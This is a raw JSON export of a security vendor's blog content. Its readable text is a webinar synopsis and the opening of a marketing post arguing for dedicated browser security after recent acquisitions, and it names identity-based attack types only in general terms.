"type":926},{"data":22776,"marks":22777,"value":13118,"nodeType":865},{},[22778],{"type":926},{"data":22780,"content":22781,"nodeType":866},{},[22782,22785,22791],{"data":22783,"marks":22784,"value":13125,"nodeType":865},{},[],{"data":22786,"content":22787,"nodeType":889},{"uri":7959},[22788],{"data":22789,"marks":22790,"value":13132,"nodeType":865},{},[],{"data":22792,"marks":22793,"value":13136,"nodeType":865},{},[],{"data":22795,"content":22796,"nodeType":866},{},[22797],{"data":22798,"marks":22799,"value":13143,"nodeType":865},{},[],{"data":22801,"content":22802,"nodeType":866},{},[22803],{"data":22804,"marks":22805,"value":13150,"nodeType":865},{},[],{"data":22807,"content":22808,"nodeType":972},{},[],{"data":22810,"content":22811,"nodeType":981},{},[22812],{"data":22813,"marks":22814,"value":13161,"nodeType":865},{},[22815],{"type":926},{"data":22817,"content":22818,"nodeType":866},{},[22819,22822,22828],{"data":22820,"marks":22821,"value":13168,"nodeType":865},{},[],{"data":22823,"content":22824,"nodeType":889},{"uri":13171},[22825],{"data":22826,"marks":22827,"value":11198,"nodeType":865},{},[],{"data":22829,"marks":22830,"value":13179,"nodeType":865},{},[],{"data":22832,"content":22833,"nodeType":866},{},[22834],{"data":22835,"marks":22836,"value":13186,"nodeType":865},{},[],{"data":22838,"content":22839,"nodeType":866},{},[22840],{"data":22841,"marks":22842,"value":13193,"nodeType":865},{},[],{"data":22844,"content":22845,"nodeType":866},{},[22846,22849,22855],{"data":22847,"marks":22848,"value":13200,"nodeType":865},{},[],{"data":22850,"content":22851,"nodeType":889},{"uri":13203},[22852],{"data":22853,"marks":22854,"value":11198,"nodeType":865},{},[],{"data":22856,"marks":22857,"value":1615,"nodeType":865},{},[],{"data":22859,"content":22860,"nodeType":972},{},[],{"data":22862,"content":22863,"nodeType":981},{},[22864],{"data":22865,"marks":22866,"value":13221,"nodeType":865},{},[22867],{"type":926},{"data":22869,"content":22870,"nodeType":866},{},[22871],{"data":22872,"marks":22873,"value":13228,"nodeType":865},{},[],{"data":22875,"content":22876,"nodeType":1616},{},[22877,22886,22895],{"data":22878,"content":22879,"nodeType":1570},{},[22880],{"data":22881,"content":22882,"nodeType":866},{},[22883],{"data":22884,"marks":22885,"value":13241,"nodeType":865},{},[],{"data":22887,"content":22888,"nodeType":1570},{},[22889],{"data":22890,"content":22891,"nodeType":866},{},[22892],{"data":22893,"marks":22894,"value":13251,"nodeType":865},{},[],{"data":22896,"content":22897,"nodeType":1570},{},[22898],{"data":22899,"content":22900,"nodeType":866},{},[22901],{"data":22902,"marks":22903,"value":13261,"nodeType":865},{},[],{"data":22905,"content":22906,"nodeType":866},{},[22907],{"data":22908,"marks":22909,"value":13268,"nodeType":865},{},[],{"data":22911,"content":22912,"nodeType":866},{},[22913,22916,22922],{"data":22914,"marks":22915,"value":13275,"nodeType":865},{},[],{"data":22917,"content":22918,"nodeType":889},{"uri":8393},[22919],{"data":22920,"marks":22921,"value":13282,"nodeType":865},{},[],{"data":22923,"marks":22924,"value":1615,"nodeType":865},{},[],{"data":22926,"content":22927,"nodeType":866},{},[22928,22931,22937],{"data":22929,"marks":22930,"value":13292,"nodeType":865},{},[],{"data":22932,"content":22933,"nodeType":889},{"uri":1419},[22934],{"data":22935,"marks":22936,"value":13299,"nodeType":865},{},[],{"data":22938,"marks":22939,"value":13303,"nodeType":865},{},[],{"data":22941,"content":22944,"nodeType":912},{"target":22942},{"sys":22943},{"id":13308,"type":909,"linkType":910},[],{"data":22946,"content":22947,"nodeType":972},{},[],{"data":22949,"content":22950,"nodeType":866},{},[22951],{"data":22952,"marks":22953,"value":13319,"nodeType":865},{},[],{"data":22955,"content":22956,"nodeType":866},{},[22957,22960,22966],{"data":22958,"marks":22959,"value":2290,"nodeType":865},{},[],{"data":22961,"content":22962,"nodeType":889},{"uri":1372},[22963],{"data":22964,"marks":22965,"value":2298,"nodeType":865},{},[],{"data":22967,"marks":22968,"value":2302,"nodeType":865},{},[],{"items":22970},[22971,22973],{"sys":22972,"name":7796},{"id":7795},{"sys":22974,"name":342},{"id":4642},{"items":22976},[22977],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":22978},{"url":7804},{"__typename":1429,"sys":22980,"content":22981,"title":16369,"synopsis":16370,"hashTags":59,"publishedDate":13337,"slug":16371,"tagsCollection":23802,"authorsCollection":23808},{"id":15406},{"json":22982},{"data":22983,"content":22984,"nodeType":1382},{},[22985,23007,23031,23064,23097,23102,23112,23115,23122,23164,23170,23189,23194,23197,23204,23228,23234,23241,23246,23249,23256,23262,23277,23283,23316,23322,23325,23332,23347,23389,23392,23399,23414,23429,23436,23442,23452,23462,23472,23482,23497,23504,23510,23513,23519,23525,23540,23543,23550,23565,23796],{"data":22986,"content":22987,"nodeType":866},{},[22988,22991,22997,23000,23004],{"data":22989,"marks":22990,"value":15417,"nodeType":865},{},[],{"data":22992,"content":22993,"nodeType":889},{"uri":4991},[22994],{"data":22995,"marks":22996,"value":8673,"nodeType":865},{},[],{"data":22998,"marks":22999,"value":15427,"nodeType":865},{},[],{"data":23001,"marks":23002,"value":15432,"nodeType":865},{},[23003],{"type":926},{"data":23005,"marks":23006,"value":15436,"nodeType":865},{},[],{"data":23008,"content":23009,"nodeType":866},{},[23010,23013,23019,23022,23028],{"data":23011,"marks":23012,"value":15443,"nodeType":865},{},[],{"data":23014,"content":23015,"nodeType":889},{"uri":15446},[23016],{"data":23017,"marks":23018,"value":15451,"nodeType":865},{},[],{"data":23020,"marks":23021,"value":15455,"nodeType":865},{},[],{"data":23023,"content":23024,"nodeType":889},{"uri":15458},[23025],{"data":23026,"marks":23027,"value":15463,"nodeType":865},{},[],{"data":23029,"marks":23030,"value":15467,"nodeType":865},{},[],{"data":23032,"content":23033,"nodeType":866},{},[23034,23037,23043,23046,23052,23055,23061],{"data":23035,"marks":23036,"value":15474,"nodeType":865},{},[],{"data":23038,"content":23039,"nodeType":889},{"uri":15477},[23040],{"data":23041,"marks":23042,"value":15482,"nodeType":865},{},[],{"data":23044,"marks":23045,"value":15486,"nodeType":865},{},[],{"data":23047,"content":23048,"nodeType":889},{"uri":15489},[23049],{"data":23050,"marks":23051,"value":15494,"nodeType":865},{},[],{"data":23053,"marks":23054,"value":15498,"nodeType":865},{},[],{"data":23056,"content":23057,"nodeType":889},{"uri":15501},[23058],{"data":23059,"marks":23060,"value":15506,"nodeType":865},{},[],{"data":23062,"marks":23063,"value":15510,"nodeType":865},{},[],{"data":23065,"content":23066,"nodeType":866},{},[23067,23070,23076,23079,23085,23088,23094],{"data":23068,"marks":23069,"value":15517,"nodeType":865},{},[],{"data":23071,"content":23072,"nodeType":889},{"uri":15520},[23073],{"data":23074,"marks":23075,"value":15525,"nodeType":865},{},[],{"data":23077,"marks":23078,"value":15529,"nodeType":865},{},[],{"data":23080,"content":23081,"nodeType":889},{"uri":15532},[23082],{"data":23083,"marks":23084,"value":15537,"nodeType":865},{},[],{"data":23086,"marks":23087,"value":15541,"nodeType":865},{},[],{"data":23089,"content":23090,"nodeType":889},{"uri":15544},[23091],{"data":23092,"marks":23093,"value":15549,"nodeType":865},{},[],{"data":23095,"marks":23096,"value":15553,"nodeType":865},{},[],{"data":23098,"content":23101,"nodeType":912},{"target":23099},{"sys":23100},{"id":15558,"type":909,"linkType":910},[],{"data":23103,"content":23104,"nodeType":866},{},[23105,23109],{"data":23106,"marks":23107,"value":15567,"nodeType":865},{},[23108],{"type":926},{"data":23110,"marks":23111,"value":15571,"nodeType":865},{},[],{"data":23113,"content":23114,"nodeType":972},{},[],{"data":23116,"content":23117,"nodeType":981},{},[23118],{"data":23119,"marks":23120,"value":15582,"nodeType":865},{},[23121],{"type":926},{"data":23123,"content":23124,"nodeType":866},{},[23125,23128,23134,23137,23143,23146,23152,23155,23161],{"data":23126,"marks":23127,"value":15589,"nodeType":865},{},[],{"data":23129,"content":23130,"nodeType":889},{"uri":15592},[23131],{"data":23132,"marks":23133,"value":15597,"nodeType":865},{},[],{"data":23135,"marks":23136,"value":14216,"nodeType":865},{},[],{"data":23138,"content":23139,"nodeType":889},{"uri":15603},[23140],{"data":23141,"marks":23142,"value":15608,"nodeType":865},{},[],{"data":23144,"marks":23145,"value":14629,"nodeType":865},{},[],{"data":23147,"content":23148,"nodeType":889},{"uri":15489},[23149],{"data":23150,"marks":23151,"value":15618,"nodeType":865},{},[],{"data":23153,"marks":23154,"value":15622,"nodeType":865},{},[],{"data":23156,"content":23157,"nodeType":889},{"uri":13633},[23158],{"data":23159,"marks":23160,"value":15629,"nodeType":865},{},[],{"data":23162,"marks":23163,"value":1615,"nodeType":865},{},[],{"data":23165,"content":23166,"nodeType":866},{},[23167],{"data":23168,"marks":23169,"value":15639,"nodeType":865},{},[],{"data":23171,"content":23172,"nodeType":866},{},[23173,23176,23182,23185],{"data":23174,"marks":23175,"value":15646,"nodeType":865},{},[],{"data":23177,"content":23178,"nodeType":889},{"uri":13633},[23179],{"data":23180,"marks":23181,"value":15653,"nodeType":865},{},[],{"data":23183,"marks":23184,"value":15657,"nodeType":865},{},[],{"data":23186,"marks":23187,"value":15662,"nodeType":865},{},[23188],{"type":926},{"data":23190,"content":23193,"nodeType":912},{"target":23191},{"sys":23192},{"id":15667,"type":909,"linkType":910},[],{"data":23195,"content":23196,"nodeType":972},{},[],{"data":23198,"content":23199,"nodeType":981},{},[23200],{"data":23201,"marks":23202,"value":15679,"nodeType":865},{},[23203],{"type":926},{"data":23205,"content":23206,"nodeType":866},{},[23207,23210,23216,23219,23225],{"data":23208,"marks":23209,"value":1449,"nodeType":865},{},[],{"data":23211,"content":23212,"nodeType":889},{"uri":13013},[23213],{"data":23214,"marks":23215,"value":15692,"nodeType":865},{},[],{"data":23217,"marks":23218,"value":15696,"nodeType":865},{},[],{"data":23220,"content":23221,"nodeType":889},{"uri":15501},[23222],{"data":23223,"marks":23224,"value":15703,"nodeType":865},{},[],{"data":23226,"marks":23227,"value":15707,"nodeType":865},{},[],{"data":23229,"content":23230,"nodeType":866},{},[23231],{"data":23232,"marks":23233,"value":15714,"nodeType":865},{},[],{"data":23235,"content":23236,"nodeType":866},{},[23237],{"data":23238,"marks":23239,"value":15722,"nodeType":865},{},[23240],{"type":926},{"data":23242,"content":23245,"nodeType":912},{"target":23243},{"sys":23244},{"id":15727,"type":909,"linkType":910},[],{"data":23247,"content":23248,"nodeType":972},{},[],{"data":23250,"content":23251,"nodeType":981},{},[23252],{"data":23253,"marks":23254,"value":15739,"nodeType":865},{},[23255],{"type":926},{"data":23257,"content":23258,"nodeType":866},{},[23259],{"data":23260,"marks":23261,"value":15746,"nodeType":865},{},[],{"data":23263,"content":23264,"nodeType":866},{},[23265,23268,23274],{"data":23266,"marks":23267,"value":1449,"nodeType":865},{},[],{"data":23269,"content":23270,"nodeType":889},{"uri":15755},[23271],{"data":23272,"marks":23273,"value":15760,"nodeType":865},{},[],{"data":23275,"marks":23276,"value":15764,"nodeType":865},{},[],{"data":23278,"content":23279,"nodeType":866},{},[23280],{"data":23281,"marks":23282,"value":15771,"nodeType":865},{},[],{"data":23284,"content":23285,"nodeType":866},{},[23286,23289,23295,23298,23304,23307,23313],{"data":23287,"marks":23288,"value":15778,"nodeType":865},{},[],{"data":23290,"content":23291,"nodeType":889},{"uri":15781},[23292],{"data":23293,"marks":23294,"value":15786,"nodeType":865},{},[],{"data":23296,"marks":23297,"value":15790,"nodeType":865},{},[],{"data":23299,"content":23300,"nodeType":889},{"uri":15793},[23301],{"data":23302,"marks":23303,"value":15798,"nodeType":865},{},[],{"data":23305,"marks":23306,"value":15802,"nodeType":865},{},[],{"data":23308,"content":23309,"nodeType":889},{"uri":3841},[23310],{"data":23311,"marks":23312,"value":15809,"nodeType":865},{},[],{"data":23314,"marks":23315,"value":15813,"nodeType":865},{},[],{"data":23317,"content":23318,"nodeType":866},{},[23319],{"data":23320,"marks":23321,"value":15820,"nodeType":865},{},[],{"data":23323,"content":23324,"nodeType":972},{},[],{"data":23326,"content":23327,"nodeType":981},{},[23328],{"data":23329,"marks":23330,"value":15831,"nodeType":865},{},[23331],{"type":926},{"data":23333,"content":23334,"nodeType":866},{},[23335,23338,23344],{"data":23336,"marks":23337,"value":15838,"nodeType":865},{},[],{"data":23339,"content":23340,"nodeType":889},{"uri":15841},[23341],{"data":23342,"marks":23343,"value":15846,"nodeType":865},{},[],{"data":23345,"marks":23346,"value":15850,"nodeType":865},{},[],{"data":23348,"content":23349,"nodeType":866},{},[23350,23353,23359,23362,23368,23371,23377,23380,23386],{"data":23351,"marks":23352,"value":15857,"nodeType":865},{},[],{"data":23354,"content":23355,"nodeType":889},{"uri":15860},[23356],{"data":23357,"marks":23358,"value":15865,"nodeType":865},{},[],{"data":23360,"marks":23361,"value":15869,"nodeType":865},{},[],{"data":23363,"content":23364,"nodeType":889},{"uri":15872},[23365],{"data":23366,"marks":23367,"value":15877,"nodeType":865},{},[],{"data":23369,"marks":23370,"value":15881,"nodeType":865},{},[],{"data":23372,"content":23373,"nodeType":889},{"uri":15884},[23374],{"data":23375,"marks":23376,"value":15889,"nodeType":865},{},[],{"data":23378,"marks":23379,"value":15893,"nodeType":865},{},[],{"data":23381,"content":23382,"nodeType":889},{"uri":15896},[23383],{"data":23384,"marks":23385,"value":15901,"nodeType":865},{},[],{"data":23387,"marks":23388,"value":15905,"nodeType":865},{},[],{"data":23390,"content":23391,"nodeType":972},{},[],{"data":23393,"content":23394,"nodeType":981},{},[23395],{"data":23396,"marks":23397,"value":15916,"nodeType":865},{},[23398],{"type":926},{"data":23400,"content":23401,"nodeType":866},{},[23402,23405,23411],{"data":23403,"marks":23404,"value":15923,"nodeType":865},{},[],{"data":23406,"content":23407,"nodeType":889},{"uri":1951},[23408],{"data":23409,"marks":23410,"value":15930,"nodeType":865},{},[],{"data":23412,"marks":23413,"value":15934,"nodeType":865},{},[],{"data":23415,"content":23416,"nodeType":866},{},[23417,23420,23426],{"data":23418,"marks":23419,"value":15941,"nodeType":865},{},[],{"data":23421,"content":23422,"nodeType":889},{"uri":15944},[23423],{"data":23424,"marks":23425,"value":315,"nodeType":865},{},[],{"data":23427,"marks":23428,"value":15952,"nodeType":865},{},[],{"data":23430,"content":23431,"nodeType":1317},{},[23432],{"data":23433,"marks":23434,"value":6331,"nodeType":865},{},[23435],{"type":926},{"data":23437,"content":23438,"nodeType":866},{},[23439],{"data":23440,"marks":23441,"value":15966,"nodeType":865},{},[],{"data":23443,"content":23444,"nodeType":866},{},[23445,23449],{"data":23446,"marks":23447,"value":15974,"nodeType":865},{},[23448],{"type":926},{"data":23450,"marks":23451,"value":15978,"nodeType":865},{},[],{"data":23453,"content":23454,"nodeType":866},{},[23455,23459],{"data":23456,"marks":23457,"value":15986,"nodeType":865},{},[23458],{"type":926},{"data":23460,"marks":23461,"value":15990,"nodeType":865},{},[],{"data":23463,"content":23464,"nodeType":866},{},[23465,23469],{"data":23466,"marks":23467,"value":15998,"nodeType":865},{},[23468],{"type":926},{"data":23470,"marks":23471,"value":16002,"nodeType":865},{},[],{"data":23473,"content":23474,"nodeType":866},{},[23475,23479],{"data":23476,"marks":23477,"value":16010,"nodeType":865},{},[23478],{"type":926},{"data":23480,"marks":23481,"value":16014,"nodeType":865},{},[],{"data":23483,"content":23484,"nodeType":866},{},[23485,23488,23494],{"data":23486,"marks":23487,"value":21,"nodeType":865},{},[],{"data":23489,"content":23490,"nodeType":889},{"uri":1256},[23491],{"data":23492,"marks":23493,"value":16027,"nodeType":865},{},[],{"data":23495,"marks":23496,"value":21,"nodeType":865},{},[],{"data":23498,"content":23499,"nodeType":1317},{},[23500],{"data":23501,"marks":23502,"value":16038,"nodeType":865},{},[23503],{"type":926},{"data":23505,"content":23506,"nodeType":866},{},[23507],{"data":23508,"marks":23509,"value":16045,"nodeType":865},{},[],{"data":23511,"content":23512,"nodeType":972},{},[],{"data":23514,"content":23515,"nodeType":866},{},[23516],{"data":23517,"marks":23518,"value":4591,"nodeType":865},{},[],{"data":23520,"content":23521,"nodeType":866},{},[23522],{"data":23523,"marks":23524,"value":1363,"nodeType":865},{},[],{"data":23526,"content":23527,"nodeType":866},{},[23528,23531,23537],{"data":23529,"marks":23530,"value":21,"nodeType":865},{},[],{"data":23532,"content":23533,"nodeType":889},{"uri":16069},[23534],{"data":23535,"marks":23536,"value":1378,"nodeType":865},{},[],{"data":23538,"marks":23539,"value":21,"nodeType":865},{},[],{"data":23541,"content":23542,"nodeType":972},{},[],{"data":23544,"content":23545,"nodeType":981},{},[23546],{"data":23547,"marks":23548,"value":16087,"nodeType":865},{},[23549],{"type":926},{"data":23551,"content":23552,"nodeType":866},{},[23553,23556,23562],{"data":23554,"marks":23555,"value":16094,"nodeType":865},{},[],{"data":23557,"content":23558,"nodeType":889},{"uri":4991},[23559],{"data":23560,"marks":23561,"value":16101,"nodeType":865},{},[],{"data":23563,"marks":23564,"value":16105,"nodeType":865},{},[],{"data":23566,"content":23567,"nodeType":2927},{},[23568,23611,23667,23710,23753],{"data":23569,"content":23570,"nodeType":2400},{},[23571,23581,23591,23601],{"data":23572,"content":23573,"nodeType":2366},{},[23574],{"data":23575,"content":23576,"nodeType":866},{},[23577],{"data":23578,"marks":23579,"value":16122,"nodeType":865},{},[23580],{"type":926},{"data":23582,"content":23583,"nodeType":2366},{},[23584],{"data":23585,"content":23586,"nodeType":866},{},[23587],{"data":23588,"marks":23589,"value":16133,"nodeType":865},{},[23590],{"type":926},{"data":23592,"content":23593,"nodeType":2366},{},[23594],{"data":23595,"content":23596,"nodeType":866},{},[23597],{"data":23598,"marks":23599,"value":16144,"nodeType":865},{},[23600],{"type":926},{"data":23602,"content":23603,"nodeType":2366},{},[23604],{"data":23605,"content":23606,"nodeType":866},{},[23607],{"data":23608,"marks":23609,"value":16155,"nodeType":865},{},[23610],{"type":926},{"data":23612,"content":23613,"nodeType":2400},{},[23614,23634,23643,23652],{"data":23615,"content":23616,"nodeType":2366},{},[23617],{"data":23618,"content":23619,"nodeType":866},{},[23620,23624,23627,23631],{"data":23621,"marks":23622,"value":16169,"nodeType":865},{},[23623],{"type":926},{"data":23625,"marks":23626,"value":16173,"nodeType":865},{},[],{"data":23628,"marks":23629,"value":16178,"nodeType":865},{},[23630],{"type":926},{"data":23632,"marks":23633,"value":16182,"nodeType":865},{},[],{"data":23635,"content":23636,"nodeType":2366},{},[23637],{"data":23638,"content":23639,"nodeType":866},{},[23640],{"data":23641,"marks":23642,"value":16192,"nodeType":865},{},[],{"data":23644,"content":23645,"nodeType":2366},{},[23646],{"data":23647,"content":23648,"nodeType":866},{},[23649],{"data":23650,"marks":23651,"value":16202,"nodeType":865},{},[],{"data":23653,"content":23654,"nodeType":2366},{},[23655,23661],{"data":23656,"content":23657,"nodeType":866},{},[23658],{"data":23659,"marks":23660,"value":16212,"nodeType":865},{},[],{"data":23662,"content":23663,"nodeType":866},{},[23664],{"data":23665,"marks":23666,"value":16219,"nodeType":865},{},[],{"data":23668,"content":23669,"nodeType":2400},{},[23670,23683,23692,23701],{"data":23671,"content":23672,"nodeType":2366},{},[23673],{"data":23674,"content":23675,"nodeType":866},{},[23676,23680],{"data":23677,"marks":23678,"value":16233,"nodeType":865},{},[23679],{"type":926},{"data":23681,"marks":23682,"value":16237,"nodeType":865},{},[],{"data":23684,"content":23685,"nodeType":2366},{},[23686],{"data":23687,"content":23688,"nodeType":866},{},[23689],{"data":23690,"marks":23691,"value":16247,"nodeType":865},{},[],{"data":23693,"content":23694,"nodeType":2366},{},[23695],{"data":23696,"content":23697,"nodeType":866},{},[23698],{"data":23699,"marks":23700,"value":16257,"nodeType":865},{},[],{"data":23702,"content":23703,"nodeType":2366},{},[23704],{"data":23705,"content":23706,"nodeType":866},{},[23707],{"data":23708,"marks":23709,"value":16267,"nodeType":865},{},[],{"data":23711,"content":23712,"nodeType":2400},{},[23713,23726,23735,23744],{"data":23714,"content":23715,"nodeType":2366},{},[23716],{"data":23717,"content":23718,"nodeType":866},{},[23719,23723],{"data":23720,"marks":23721,"value":16281,"nodeType":865},{},[23722],{"type":926},{"data":23724,"marks":23725,"value":16285,"nodeType":865},{},[],{"data":23727,"content":23728,"nodeType":2366},{},[23729],{"data":23730,"content":23731,"nodeType":866},{},[23732],{"data":23733,"marks":23734,"value":16295,"nodeType":865},{},[],{"data":23736,"content":23737,"nodeType":2366},{},[23738],{"data":23739,"content":23740,"nodeType":866},{},[23741],{"data":23742,"marks":23743,"value":16305,"nodeType":865},{},[],{"data":23745,"content":23746,"nodeType":2366},{},[23747],{"data":23748,"content":23749,"nodeType":866},{},[23750],{"data":23751,"marks":23752,"value":16315,"nodeType":865},{},[],{"data":23754,"content":23755,"nodeType":2400},{},[23756,23769,23778,23787],{"data":23757,"content":23758,"nodeType":2366},{},[23759],{"data":23760,"content":23761,"nodeType":866},{},[23762,23766],{"data":23763,"marks":23764,"value":16329,"nodeType":865},{},[23765],{"type":926},{"data":23767,"marks":23768,"value":16333,"nodeType":865},{},[],{"data":23770,"content":23771,"nodeType":2366},{},[23772],{"data":23773,"content":23774,"nodeType":866},{},[23775],{"data":23776,"marks":23777,"value":16192,"nodeType":865},{},[],{"data":23779,"content":23780,"nodeType":2366},{},[23781],{"data":23782,"content":23783,"nodeType":866},{},[23784],{"data":23785,"marks":23786,"value":16352,"nodeType":865},{},[],{"data":23788,"content":23789,"nodeType":2366},{},[23790],{"data":23791,"content":23792,"nodeType":866},{},[23793],{"data":23794,"marks":23795,"value":16362,"nodeType":865},{},[],{"data":23797,"content":23798,"nodeType":866},{},[23799],{"data":23800,"marks":23801,"value":21,"nodeType":865},{},[],{"items":23803},[23804,23806],{"sys":23805,"name":7796},{"id":7795},{"sys":23807,"name":342},{"id":4642},{"items":23809},[23810],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":23811},{"url":7804},"blog/7-things-we-learned-from-john-hammond",{"json":23814},{"data":23815,"content":23816,"nodeType":1382},{},[23817],{"data":23818,"content":23819,"nodeType":866},{},[23820],{"data":23821,"marks":23822,"value":23823,"nodeType":865},{},[],"Luke Jennings (Push VP of Research) and John Hammond (Senior Principal Security Researcher, Huntress) walked through the browser-based attack techniques defining the 2026 threat landscape.",{"id":14089,"publishedAt":23825},"2026-08-12T12:00:57.289Z",{"items":23827},[23828,23830],{"sys":23829,"name":7796},{"id":7795},{"sys":23831,"name":297},{"id":2310},{"items":23833},[23834,23836,23838,23840,23842,23844,23846,23848,23850,23852,23854,23856,23858,23860,23862,23864,23866,23868,23870,23872,23874,23876],{"sys":23835,"name":279,"slug":280,"tier":31},{"id":276},{"sys":23837,"name":519,"slug":520,"tier":31},{"id":516},{"sys":23839,"name":413,"slug":414,"tier":31},{"id":410},{"sys":23841,"name":297,"slug":298,"tier":31},{"id":294},{"sys":23843,"name":342,"slug":343,"tier":31},{"id":339},{"sys":23845,"name":235,"slug":236,"tier":31},{"id":232},{"sys":23847,"name":261,"slug":262,"tier":45},{"id":258},{"sys":23849,"name":315,"slug":316,"tier":45},{"id":312},{"sys":23851,"name":360,"slug":361,"tier":45},{"id":357},{"sys":23853,"name":484,"slug":485,"tier":45},{"id":481},{"sys":23855,"name":475,"slug":476,"tier":45},{"id":472},{"sys":23857,"name":511,"slug":512,"tier":45},{"id":508},{"sys":23859,"name":324,"slug":325,"tier":45},{"id":321},{"sys":23861,"name":571,"slug":572,"tier":45},{"id":568},{"sys":23863,"name":466,"slug":467,"tier":45},{"id":463},{"sys":23865,"name":440,"slug":441,"tier":45},{"id":437},{"sys":23867,"name":607,"slug":608,"tier":45},{"id":604},{"sys":23869,"name":377,"slug":378,"tier":45},{"id":374},{"sys":23871,"name":431,"slug":432,"tier":45},{"id":428},{"sys":23873,"name":448,"slug":449,"tier":45},{"id":445},{"sys":23875,"name":493,"slug":494,"tier":45},{"id":490},{"sys":23877,"name":244,"slug":245,"tier":45},{"id":241},"q4U5IPhRMZseIs6ceVJ_ZzUpucxUy-2TaBbYB9CbBVE",{"id":23880,"title":23881,"authorsCollection":23882,"content":23888,"extension":228,"faqItemsCollection":24509,"faqTitle":59,"featured":6,"hashTags":59,"meta":24511,"metaTitle":24512,"ogImage":59,"postType":1424,"publishedDate":14671,"relatedBlogPostsCollection":24513,"slug":27098,"stem":27099,"subtitle":59,"summary":27100,"synopsis":27110,"sys":27111,"tagsCollection":27114,"topicsCollection":27120,"__hash__":27162},"blog/blog/the-case-for-best-of-breed-browser-security.json","Why \"good enough\" isn’t enough: the case for best-of-breed browser security",{"items":23883},[23884],{"fullName":4614,"firstName":4615,"jobTitle":4616,"socialLinks":23885,"profilePicture":23887},[23886],"https://www.linkedin.com/in/alexhenshall/",{"url":4618},{"json":23889,"links":24453},{"data":23890,"content":23891,"nodeType":1382},{},[23892,23899,23925,23932,23935,23943,23950,23957,23964,23972,24026,24033,24041,24048,24055,24063,24070,24077,24096,24127,24134,24137,24145,24153,24171,24179,24198,24206,24213,24221,24228,24236,24243,24246,24254,24261,24272,24290,24298,24305,24311,24319,24355,24361,24369,24386,24394,24412,24415,24423,24430,24437],{"data":23893,"content":23894,"nodeType":866},{},[23895],{"data":23896,"marks":23897,"value":23898,"nodeType":865},{},[],"Three browser security companies have been acquired by major security platforms in five months. CrowdStrike acquired Seraphic Security in January 2026. Zscaler absorbed SquareX in February. In May, Akamai announced the acquisition of LayerX. Add Palo Alto Networks' earlier acquisition of Talon, and the browser security market has consolidated faster than almost any adjacent security category before it.",{"data":23900,"content":23901,"nodeType":866},{},[23902,23906,23912,23915,23922],{"data":23903,"marks":23904,"value":23905,"nodeType":865},{},[],"These acquisitions recognize that the browser is now where employees work, where AI runs, and where the most damaging attacks on organizations originate. It’s telling that browser security already accounts for ",{"data":23907,"content":23908,"nodeType":889},{"uri":3963},[23909],{"data":23910,"marks":23911,"value":17341,"nodeType":865},{},[],{"data":23913,"marks":23914,"value":3476,"nodeType":865},{},[],{"data":23916,"content":23917,"nodeType":889},{"uri":3963},[23918],{"data":23919,"marks":23920,"value":23921,"nodeType":865},{},[],"85% of organizations expect to increase that spend over the next 12-24 months",{"data":23923,"marks":23924,"value":1615,"nodeType":865},{},[],{"data":23926,"content":23927,"nodeType":866},{},[23928],{"data":23929,"marks":23930,"value":23931,"nodeType":865},{},[],"But for security buyers, consolidation creates a risk as much as an opportunity. The question isn't whether your existing platform vendor now offers browser security — it's whether what they're offering can actually protect you as the threat landscape evolves.",{"data":23933,"content":23934,"nodeType":972},{},[],{"data":23936,"content":23937,"nodeType":981},{},[23938],{"data":23939,"marks":23940,"value":23942,"nodeType":865},{},[23941],{"type":926},"Why \"good enough\" isn't good enough in the browser",{"data":23944,"content":23945,"nodeType":866},{},[23946],{"data":23947,"marks":23948,"value":23949,"nodeType":865},{},[],"The consolidation pitch is tempting. If you're already a CrowdStrike, Zscaler, or Palo Alto customer, adding browser security through an existing relationship means fewer vendors, fewer contracts, and a coherent narrative about platform consolidation that plays well internally. ",{"data":23951,"content":23952,"nodeType":866},{},[23953],{"data":23954,"marks":23955,"value":23956,"nodeType":865},{},[],"Security teams make these kinds of tradeoffs all the time — accepting that your SASE vendor's threat intelligence feed may not match a dedicated provider, or that your EDR vendor's vulnerability management module may not match a dedicated scanner — are reasonable decisions where the operational benefit of consolidation outweighs the capability difference.",{"data":23958,"content":23959,"nodeType":866},{},[23960],{"data":23961,"marks":23962,"value":23963,"nodeType":865},{},[],"But browser security is a category where the stakes are too high to accept a \"good enough\" solution. The majority of all reported breaches now originate in the browser and attacker tradecraft in this space is advancing at an unprecedented rate thanks to AI. These risks warrant the strongest form of defense. Here are three reasons that “good enough” solutions don't give you that:",{"data":23965,"content":23966,"nodeType":1317},{},[23967],{"data":23968,"marks":23969,"value":23971,"nodeType":865},{},[23970],{"type":926},"1. Most platform browser solutions were built for the wrong problems",{"data":23973,"content":23974,"nodeType":866},{},[23975,23978,23987,23991,23999,24003,24011,24015,24022],{"data":23976,"marks":23977,"value":21,"nodeType":865},{},[],{"data":23979,"content":23981,"nodeType":889},{"uri":23980},"https://www.crowdstrike.com/en-us/resources/infographics/identity-security-risk-review/",[23982],{"data":23983,"marks":23984,"value":23986,"nodeType":865},{},[23985],{"type":943},"CrowdStrike's own research",{"data":23988,"marks":23989,"value":23990,"nodeType":865},{},[]," puts identity involvement in 80% of all modern breaches. Identity weaknesses played a material role in ",{"data":23992,"content":23994,"nodeType":889},{"uri":23993},"https://www.paloaltonetworks.com/resources/research/unit-42-incident-response-report",[23995],{"data":23996,"marks":23997,"value":23998,"nodeType":865},{},[],"almost 90% of Unit 42 incident response investigations",{"data":24000,"marks":24001,"value":24002,"nodeType":865},{},[],". The breaches making headlines — 2024's ",{"data":24004,"content":24006,"nodeType":889},{"uri":24005},"https://pushsecurity.com/blog/snowflake-retro",[24007],{"data":24008,"marks":24009,"value":24010,"nodeType":865},{},[],"mass Snowflake account compromises",{"data":24012,"marks":24013,"value":24014,"nodeType":865},{},[],", 2025's wave of Salesforce-targeted attacks, and 2026's ",{"data":24016,"content":24017,"nodeType":889},{"uri":3820},[24018],{"data":24019,"marks":24020,"value":24021,"nodeType":865},{},[],"continued spree of data theft and extortion",{"data":24023,"marks":24024,"value":24025,"nodeType":865},{},[]," — all trace back to identity weaknesses exploited through the browser: credentials stuffed into login pages that lacked MFA, session tokens hijacked via AiTM phishing, OAuth consent abused to grant persistent access, and device code flows manipulated to bypass authentication entirely. ",{"data":24027,"content":24028,"nodeType":866},{},[24029],{"data":24030,"marks":24031,"value":24032,"nodeType":865},{},[],"Yet Seraphic was built for browser runtime exploit prevention, SquareX for file-based malware sandboxing, LayerX for access governance and AI usage policy. These are real use cases, but they're not the use cases behind headline breaches. If your browser security solution checks a box for \"phishing protection\" but can't detect the identity attack techniques that are actually being industrialized and deployed at scale, you have a gap — and the 